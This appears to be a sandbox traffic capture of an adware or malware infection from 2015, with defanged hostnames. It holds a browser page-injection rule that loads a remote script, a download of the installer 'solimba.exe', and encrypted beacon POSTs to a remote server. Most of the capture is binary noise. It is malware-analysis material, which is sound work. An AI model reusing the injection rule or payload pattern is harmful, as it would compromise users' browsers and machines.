Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: e0.extreme-dm.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Tue, 13 Oct 2015 05:09:29 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

Cache-Control: private,no-cache,no-store

Pragma: no-cache

Expires: Mon, 28 Sep 1970 06:00:00 GMT
GIF89a.............!.......,...........L..;..

GET /services/rules.txt?dummy=924 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.brsoftwarellc.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 13 Oct 2015 05:09:44 GMT

Content-Type: text/plain

Content-Length: 267

Connection: keep-alive

Last-Modified: Thu, 08 Oct 2015 15:40:07 GMT

ETag: "5ac277-10b-52199ad6f03c0"

Cache-Control: max-age=600

Expires: Tue, 13 Oct 2015 05:19:44 GMT

P3P: CP="Potato"

X-Cache: MISS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

Accept-Ranges: bytes
</body>|<script src="//pgjs.me/services/script.js" type="text
/javascript"></script></body>.searchinfofast|xsearchinf
ofas.tag.installw.com|tag.installwx.com.apiplainsavingsc|apiplainsavin
gscx.descontosofertas.com.br|xdescontosofertas.com.br.yupfiles.net|xyu
pfiles.net.....


GET /services/update.php?v=2.1.0&key=RgX3oPipgrjE3VzsW3H15cqQSJcxbtXr&dummy=894 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.brsoftwarellc.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 13 Oct 2015 05:09:47 GMT

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

P3P: CP="Potato"

X-Cache: BYPASS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true
HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 13 Oct 2015 05:09:47 
GMT..Content-Type: text/html..Content-Length: 0..Connection: keep-aliv
e..P3P: CP="Potato"..X-Cache: BYPASS..X-Server: Provided by Intermedia
..X-Country: UA..Access-Control-Allow-Origin: *..Access-Control-Allow-
Headers: X-Requested-With..Access-Control-Allow-Credentials: true..

GET /010914s/top-line.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:44 GMT

Content-Type: image/gif

Content-Length: 1724

Last-Modified: Fri, 11 Sep 2015 00:43:55 GMT

Connection: keep-alive

Expires: Thu, 12 Nov 2015 05:07:44 GMT

Cache-Control: max-age=2592000

CC: UA

Accept-Ranges: bytes
GIF89a................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...........!.......,............. .........\.0!....B....A...f..qcE. -.
.8..D..-...0...)..d......I.T.R.K..aJ.Z3.O.-w.\*s...MgvD.....E..$..aW.Z
.&M.....O.B..0$J.....K....x.....o_.~...L.0..u..Ulx....#..LY2..y![...q.
.....MZ......^..4...c.V.:5m..]..Mz....E.....l..M..M.6...e.^N..t..QSG^.
....wC.g^......k.~.x........>.............( ....`.......1.........M
(..... .......^X....."...x..(V...... ...Xb.0....0.h_.-....D.i..H&...L6
...PF)..TVi..Xf...\v...`[email protected]&.f....t.Y..o.yg.x.Y.....g...
...v....p.z..|6...w..h..R....*...j:.....)....I*.......r.....F.....*...
......Zk........Kj....(..D ...L[[email protected]...
............n...{....;........'.........:.p....p...|...Z.1..{,.......,
....0....3?Ps. .|3.9..s.;....:.M..H'Ms.H..4.N..5.OS]u.6g]..=.<.
<<< skipped >>>

GET /010914s/carregando.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:46 GMT

Content-Type: image/gif

Content-Length: 4176

Last-Modified: Fri, 11 Sep 2015 00:43:55 GMT

Connection: keep-alive

Expires: Thu, 12 Nov 2015 05:07:46 GMT

Cache-Control: max-age=2592000

CC: UA

Accept-Ranges: bytes
GIF89a . ........{...........................l..D..N..............L.}.
..........................6...........z..<..(..,.....v.....".....V.
....... ....................&........>.....t.................0.....
...B.................Z..$.....~..r..............|.....h..j........`...
.....x........X..2.................*..b..^.....p......................
.....................................................!..NETSCAPE2.0...
..!..Created with ajaxload.info.!.......,.... . ......................
)...).4.)...3....*.5..A..9@..... ..&.....<........ ........)KFN....
!.......%....."..!'.........,..D......#..6...`xU....-T......A. d .....
..1.. ...._.r`...A......Q.'.L.pH`A....Q0BKA....1.......F..`...c.pdld..
....(.`b.....R.p"...a.=xa!./{..6...B...?6.%b..Ru$`..2$....6dC..E.c!F(C
.A.S.%hE.......@.. ...$'rbP..I.)D.v.........(....wFj..2....3>X.p@..
cF<.:..I....T.....#.JD'.7....-.MK...%&...`...@.!.......,.... . ....
........TT).......I((K/.....4F....F......K....I........AFL..FA.....(.X
MDF..%....$..:(NI..........<....<(0.6[C..I...B!.$.EZ..3...Q.8.$.
.8V r`B."..o.n.)....O.`0..L..'."(H..c#.....B..?..081....[0........' .B
......~` A....FB(......M;z.".D<......bC....t1J...'U.j......!....$..
.....u.......8.{e..#Q........%.UP.N..(N.....D.&.....$s..`G...eJ&.8D0..
 A.....).....K.j..E....<H1."..B.j.:...N.<z...c..! @..b.c..!sP...
H.......!.......,.... . ..................E]A......K.5F#.....O ..%@-..
..........>@L..:...D.8'....N.[.<.-\..Q.'["&../_...%%:..M...O..%.
..T...:.&9A*G.,.N.&......J.......T.`.......s....B.Np.!...'..(.....
<<< skipped >>>

GET /010914s/extreme.html HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:46 GMT

Content-Type: text/html

Content-Length: 86

Last-Modified: Fri, 28 Aug 2015 16:16:00 GMT

Connection: keep-alive

CC: UA

Accept-Ranges: bytes
<script src="hXXp://t1.extreme-dm.com/f.js" id="eXF-pcofferp-0" asy
nc defer></script>.HTTP/1.1 200 OK..Server: nginx/1.0.15..Dat
e: Tue, 13 Oct 2015 05:07:46 GMT..Content-Type: text/html..Content-Len
gth: 86..Last-Modified: Fri, 28 Aug 2015 16:16:00 GMT..Connection: kee
p-alive..CC: UA..Accept-Ranges: bytes..<script src="hXXp://t1.extre
me-dm.com/f.js" id="eXF-pcofferp-0" async defer></script>...

GET /solimba.exe HTTP/1.1

Range: bytes=0-217927

Accept: */*

Host: VVV.firstreq.me

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0; ICDM 2.1)

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:48 GMT

Content-Type: application/octet-stream

Content-Length: 217928

Last-Modified: Thu, 24 Sep 2015 18:18:12 GMT

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

CC: UA

Content-Range: bytes 0-217927/217928
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
........................o........................................t....
...p..p6..........h<...............................................
................p...............................text...L\.......^.....
............. ..`.rdata.......p.......b..............@[email protected]\...
........v..............@....ndata...................................rs
rc...p6...p...8...z..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
[email protected]@..e...E..E.P.u...
Pr@..}[email protected]... M.......M....3.....FQ.....NU..M..
........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@
..u....E..9}[email protected].}[email protected]
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._
^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /mobile/libacess_js.php?idm=R0JDNlBNS1RPRDo5MjMwMDA= HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mobimidia.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 13 Oct 2015 05:09:27 GMT

Server: Apache

X-Powered-By: PHP/5.3.14

Content-Length: 0

Connection: close

Content-Type: text/html

GET /i.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/prot_link/pr.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: t1.extreme-dm.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Tue, 13 Oct 2015 05:09:38 GMT

Content-Type: image/gif

Content-Length: 1004

Last-Modified: Thu, 26 Feb 2004 13:56:07 GMT

Connection: close

ETag: "403dfaf7-3ec"

Expires: Wed, 14 Oct 2015 05:09:38 GMT

Cache-Control: max-age=86400

Accept-Ranges: bytes
GIF89a).&..>...............!..5&..*))%.9..J..N..k..n*(U)%p*.VQ%%X."
c&QPLLtttjhfaMf...$.....-&.9B.1B.S .ww.ii.RM.RM.po.dk.s...11.el.ZZ.c..
a..{..y...{.........................................................!.
....@.,....)[email protected],..H.o.l:..(S.KZ.G..............j.... pwX.....@.
....-...cuHwy`..~......~-...[El.}...........*~...E.E`./..... ......Y.C
........"."..10...% .B.Bz.-........."22442.1/'6L<%g....0.......B,.A
. .e7v.0...........C....e..P...9p..1........1 .>[email protected].. u.H.b../
[email protected].^.a.\. ..X...l.......7d.8...............hB..3G..Wc0Ci..=.C..<
;;....lsZ....2.7..y.g/F..2.e.1...;V<..".....gj..,d..).@.#...=^....B
 .zK...q-...q.......cD..r.b...2>...D...x.X&.F....c...,.Z..2..#.v..@
t.....`.Z,=.^2..>..Av8...$......@`B........G!...`..-..BD6.......g..
.<[email protected]........>...>......
..B...........G...h....yUJ`...5...W.....|..PE1.&./X`A... .E...Y.(...Q.
I0......ffAW....p......Q.\u..,[email protected]...
.`.......nDK...,..._d...xq.m........k...........n.A..;..

GET /prot_link/middle.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/prot_link/pr.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:56 GMT

Content-Type: image/png

Content-Length: 19513

Last-Modified: Mon, 03 Aug 2015 15:34:16 GMT

Connection: keep-alive

Expires: Thu, 12 Nov 2015 05:07:56 GMT

Cache-Control: max-age=2592000

CC: UA

Accept-Ranges: bytes
.PNG........IHDR.............R.&b....pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /010914s/010914i.htm HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:44 GMT

Content-Type: text/html

Last-Modified: Fri, 11 Sep 2015 19:22:07 GMT

Transfer-Encoding: chunked

Connection: keep-alive

CC: UA

Content-Encoding: gzip
83b...............n.6.y....L...,.v. .....u.&3..i@K...$..m'............
b...Lf.........t......w...DK.G.Z_..}.%..Z..v.g...7~....v:..^.X....N1..
...&...z`].D.D...Rb.@..,A..#..P..<#b@3f...:.k!. *.,.-.r....f......2
.8\..L...qDC,.u........t...>..d.|C.........>..L<D...9.4.2...l
.6c...TC.o.........X.x...U.^[email protected]..
......j.....`i.............s...........b.....JYF.eI.q.aA...64...j...%.
.....S...'.z...'t...!....S...[...i<.X..@z .!w.....r.............I..
8.i..*Y.R..=../mC. @._.nQ...P.......4z..8....7.C...R.2.'."..,...\.3..=
tL..x\!n![KbU....V....m..6%P..~.KT..\[email protected]%@..#....i...#%......CV;.
....L.:L...J!v..:}].^..?[.g..l.......f....H`8m9.^.iG..U..H..T.6U.j...x
....M'..|........#I.>.$.....%:[email protected]...]..
Q/.x..S.2.-..k...x...Q...t......f..TOW:...=v"^U'..Z...;...V.F...Er....
B}..l......s..Q.|tg..oFr!d..l)..!...I.\..*.*.G\....r.%..3.HUx.YB<..
s...zO..H.....^.rj/...^..C.}..........._R.Ur..&wHLoi..Z..&.G4........n
....-.w3n.WI.[1.U$xJ..-..4.o.3'.~........$y...@.<.P.X..t"W.~. .f]D.
......8..S.a>;ClM.<b.....aH...$.....m....D...f..&e,...........`.
.*...Z.....d`.0.$......O.",@.|k..q.,.........K....|..P$..n.}?.........
^..........)...z..>..(....0.%........tn..5.V>..X-.v......}B..E..
.r........(@.T.G.].H....j..)I...[.\5J.;) *...no..&........B?aF].....Ip
$-.7{..M....-...#.......]^.s...htqyw......#.h.{..5.y ^.!8.c....ed...."
.....~.....R.0.....Fu....r. ...........S.B........s..rF.&W...5.^.O...d
..P[...gS......7...H,....s..s...1...."........>W.B.X:....ftF#*.
<<< skipped >>>

GET /010914s/icone_cadeado.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:44 GMT

Content-Type: image/gif

Content-Length: 2256

Last-Modified: Fri, 11 Sep 2015 00:43:55 GMT

Connection: keep-alive

Expires: Thu, 12 Nov 2015 05:07:44 GMT

Cache-Control: max-age=2592000

CC: UA

Accept-Ranges: bytes
GIF89a(.2....aH........z......i........r........X..7..................
.....8.. .....x..g.................?.....7..E.....n....f...^..$..H....
..........[........2...........:...........z.......m...W..l...........
......... ...................\........h..h4.p......*...........4......
........ ..............u.....3........K....{(.....(...........#.....i.
.J..b..........m........o.....................N.................l.....
#................c.................|..........I0............>....{.
........N.|=.m$..........w(..E.......L...[.s.%...a..g*..........v...3.
s........~..o .......................=..>....m...Z.....x...........
1........g........d......9*..............._....................z..t..}
........L..Y..B.....J..&.....0......................z>.. .q .......
....E.|.............!.......,....(.2........H..?;2n}.....|....H.....S.
..1..9),...F.-.(7&..b.K...u..1...vn.z)RF....5.!..B!...L...-.........d.
6.h.....2..h.&.?.1.&... .X1r..!D..da..t;0.7|s...*.lH.....U...........?
.......p....HK..r...jp...(e.........y.c.........mT.d$q.. (....G.d..P..
.S..)f..D........Td.;tw.`!...#..C a.....0..z....Z..r..V.0.1.x3.?....(.
6..l..C..y8"..N...=.L1B'....._....3|@.6#...8.(`......,.....;@QB#..BL..
$.d7.L0..A...:60..8.|@...l0........hA...<"..I......R..tt.O.'.aH..).
%[email protected].........(..3W....0xP.$".P.............X`*.......^.J....!. ..
......G..t..........j...<.."..A.......i.QJ.......jI\l.Zp....k......
....-.R....Yd.J.........n.?..H....D..DAo..jB_vJ.z.%................'lF
.......R...]d..".*;0"H.`....@r... .@[email protected].=k..@
<<< skipped >>>

GET /010914s/mobi.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:44 GMT

Content-Type: application/x-javascript

Last-Modified: Fri, 11 Sep 2015 19:25:26 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Thu, 12 Nov 2015 05:07:44 GMT

Cache-Control: max-age=2592000

CC: UA

Content-Encoding: gzip
8ca.............Z.n.H.}..EG....H...8.....nb.cO^6..&[V.$...d..?f...]`~`
^.cS.w.."....CS...[WWUWK..~t.......%..g...7#.iU.m...6.....y.Fll....{.M
K.S..A.......W..q..sg_.....|[email protected]... ..J5...AX..R{
.[......#-..A.........!.mF_.Q.V#.CVK2zss.HYl..yl^S...t....'n........
U!....*....5.!].Y.aY'..t.mn.GV...A......>n.z~..>..W.8...oX<w.
.w.?..q#.....6.y...Y).jC..U.X.S..j..*...5.;.:...yb.P.....4./-.....MV.i
u..0..a...#v....l.}.......D....PE.v2.1...g,.....l.S..a...t.{..p...p..q
[email protected].._>..yg.tvw.ZeU..`..yw.%
D..p.w.13....W.K..........j.Ly..6w/...........,.0..Q*=..yA....t.....|.
y.{.....:..SZ.......bJ.^s.......6......Y...t..0..QLjG.-sX]y.O<....s
...w.Rd...).?2...t.<N.Z..Q2...Mv......I...M..V.X.%.........%.m....t
.t.l........R..p..m..1..h....t......t...H. ].t...H. ]........6......m.
.......z....@..........>........>F...... [email protected]...<
;....C...<..0.....e....E..$&...7..h........gH7(..LM.&........'G.|&g
t;.|B.........J...S........X.L.I1.z..........Z.:7..E..c......_..B|..;.
^R-.ur........qVE....8.eq..J._Y.q;.._rC)..i.A`....%x......brH..t)..|:F
T.YL..H.\|z........5H...T.".8 .,....^p."3...I...y..s.....bdk.Y.....4.1
.(V..-o.....G...r.}C,..t...Na..t.Tv.E.<..w..@. g.s......Xf.zu.:.}~.
T.2.4.....l.....mN.......vK.jg..7.............9....%t..W..K(..........
..if`../O[..i.i.L.8....g.'$jD..EN....HF.......7_...99,...V._A.<O...
...b.P<<a..r.T.......Ky.5MiI...... ^.. ..X..:|.............../..
3..!"...Vq..S.... .>G......GV..E.rX...H...?..KF..3.. ...5.O....
<<< skipped >>>

GET /010914s/mobi2.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:45 GMT

Content-Type: application/x-javascript

Last-Modified: Fri, 11 Sep 2015 19:26:51 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Thu, 12 Nov 2015 05:07:45 GMT

Cache-Control: max-age=2592000

CC: UA

Content-Encoding: gzip
8502..............{..G....>....4..e93..........m....2.I6..(.")K....
.y...I.....{w'....(..@.(...[...[?L................7.f....8/...........
........h........% 6'...7...........|...{..?>.....O.W.....A..[[..wV
..y.Z...1..?...|^.....y5..../..hE.......t.O?u.....~...........8.......
.W..yao....Y..b.........x5..}...|......U..{..B.....^_.(...o.......F...
..t>..o..-p.../..e....C..w?|.U...|.....x:=......O?.R.}...j0...Mg7.j
8Z.0.......t..4...>........^_m.q`....ec..ln}y...lN...rT-..%...C9'.Z
.a...a.)Y&.........?}3..W...<9|2.....`.....'.,....._.....b.]....fV.
4.}oU....U.O......\^.'....=.4....j|..m.7i...E&.~.#......;.....VR*..FC.
.\.....A.....W..K1.,.G...^.9i%W.....J.t_..%.....@6.'..(.1........q..lt
.|xIb^$:..m.'..d...2.).."cG..v.u.V.^*N..bYLz5.^e...:f...`n.sF>.W.G=
..r~.[N.wwW............C....m.`#[email protected]\C.a.K...<%,..
..r...ux.D.I.....IF........../o.,....i._....S..<..... LE9/.........
.R....g4....3h..m.9...O...r.,..z..B_...6I.... .....p!..>....^......
.4..rC.\..&.(e..&......./...|n......n.......6...YG\z...&..H:.......cZ7
!..O"gk.;.....@>........_76.gX.7...u...(..[@h..1......#go..:7..i^C,
.....U..u...._.>.C9....2P....N..........W...3mh ..6...-..4....7.d..
g0..G.;...i...r..4...{.......ok.k-.. \..U.U..f..<....xWD.G...:.@1U.
..-......2....}..k..%..[.....X*z..(J.W[..JC..U{..-P.'$..U.2F.'...o..D.
.!J.EF~...^.>...Z ..0.3e..(..Tx..k.C~.$..*.....))......bo0.@.}.....
.].....vL.^E.cB6......`..$...U....d.......US..0,V..L~.....>]..."..f
...Q.'".u..(.S.V:[email protected]..."[email protected]....=.v;.N..R..
<<< skipped >>>

GET /010914s/verificar_ip.php HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:46 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.6.13

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Server-Cache: BYPASS

Content-Encoding: gzip
18............s.......X.......0..HTTP/1.1 200 OK..Server: nginx/1.0.15
..Date: Tue, 13 Oct 2015 05:07:46 GMT..Content-Type: text/html; charse
t=UTF-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered
-By: PHP/5.6.13..Access-Control-Allow-Origin: *..Access-Control-Allow-
Headers: X-Requested-With, X-RequestType..X-Server-Cache: BYPASS..Cont
ent-Encoding: gzip..18............s.......X.......0..

POST /?pcrc=904261263&v=2.0 HTTP/1.1

Accept: */*

Host: rp.Beyabir.com

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

Content-Length: 2272

Cache-Control: no-cache

...4.....>.K..~. m].\..1.I...,*R..M.....~.....Q.4..... "m...e.MKD..<..QY

..q. |.?..1..

8....N.-..=....#.E......6....6F.J..wD.d.....*##7.7/.....&..e.l..?q......h........;...2..T..T.q>.42..$...F(!bu"&B.S.9.t..,?H..........:.....L....>Gp#y....<.......D...).......F.v//...W&K-}..".d...;.A.=.. ..S!..%B.....0..>...k.t..m...sBy......r.&..d`{.K..b...J-y.0..)......G....%[[.)..:....... xE...j;n6W./...F..U..}.6.q.....s.
rP..2.M.G5......l.2..1g.....d._.{@.Q....W}.7......(..b......4.b.}.......~.'.. D.O..nsQ$v#.m.R......

..P...../...g..

...L....n......b...57:....\.H.-...6......]..U.Z.....[......3=O.............}.6..wV.>j..2..>J...-.^Y

...X....P...j.....O.~.ny..:.$. 2..i....[>.q^z........u&..C.:...)...Oe.n...TR.l....Rmm..-.*.../.u.C.^.u....a.>........d!...7..>..8o.!:6..!.../.0....8.B.>....!.....tS.)_.#.......P...r[."..t....sP>n....

...\K.:k...<....{&..cc...0..$..u...........M.^..$.y....?n..4.

(.3...Z....{[.."..bG4;..07.3..<./_..}..` .5.NJ.q... <#._.t....T.A..!`...a....zO....4....i....#..c.....0..w.....ge6K.a..s../.d..'c.."....(.{.L..5Z

..%.....2.....e...m..
...(:....vz.............Bh...t."....u......YB^E..f..Jbs{..LJ.t.).X......Y..6...d.^.../$.b.1D.g0... .6-........l8.(
..~. ..A....N.....1..Y.3..\.......t.O.....N.$Y...S.%. ..Z.....uc.E.N..(..G(.=.*..t.....g$...&.h.8P..
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Tue, 13 Oct 2015 05:09:30 GMT

Server: TornadoServer/4.0.2

Content-Length: 4

Connection: keep-alive
DONEHTTP/1.1 200 OK..Content-Type: text/html; charset=UTF-8..Date: Tue
, 13 Oct 2015 05:09:30 GMT..Server: TornadoServer/4.0.2..Content-Lengt
h: 4..Connection: keep-alive..DONE....


POST /?pcrc=1791066535&v=2.0 HTTP/1.1

Accept: */*

Host: rp.Beyabir.com

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

Content-Length: 1424

Cache-Control: no-cache

....V.....2$.....R...\... Q.\......1Xu..o .F....TT........y. ..)....{....r.......01.1.6.\e1!Z...f......y%...#"?h.5...6u...f...".T....D.J`.-.BBko.E.ck........F.J.DO.i.?t..E.2t2..(.Ey.Z

Ag../....O.)...:'.4......{.......1g....fM....Q.r.
.fR...(B,.C
T)..)V..4....a......M<....$C.ia.8.._...U.sH.......U....,.......9....^.....G.) _.....]. .yH.Z.e}V..-...F..J..Jh....Zn....w.2..).4...j..G(.9...3.w..b.......G.>..f.Sf..Z....!N..l>-..d,G.......]~. .....Y?......f..$.?.z_.|}.....X?....y....SQw..,oZs........6v...../. .. ...L.{f..6\[email protected]............../.4...^f..T..XT..R.....

pYJ.;?...b..u....?@....&.........3g.H.T.C{......i..U> .p. ....uW,.5..R...`T.K3.3;....x;C}.\..#.... .!........=..X..9.F..[i...O

..x..[.)1.q'u.-.V4...1..n.1...P.....J.6..s...Q.z)..'u.c.....#)T....:...W.i....H.H..S.3.........u.....7E..E...b.......n.A;P..N/'l uj....a).....2...A...-S....x|.a.|;L.&K2.3.sN..r...M..xL)F&^$.
